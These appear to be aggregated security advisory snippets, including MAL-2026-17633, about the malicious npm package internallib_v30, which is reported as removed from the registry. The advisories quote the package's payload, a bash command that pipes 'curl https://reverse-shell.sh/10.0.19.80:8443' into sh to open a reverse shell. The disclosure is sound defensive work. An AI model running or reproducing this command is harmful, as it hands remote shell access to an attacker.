Malicious code in internallib_v30 (npm)

Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and pipi...

Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious Package

Overview internallibv30 is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...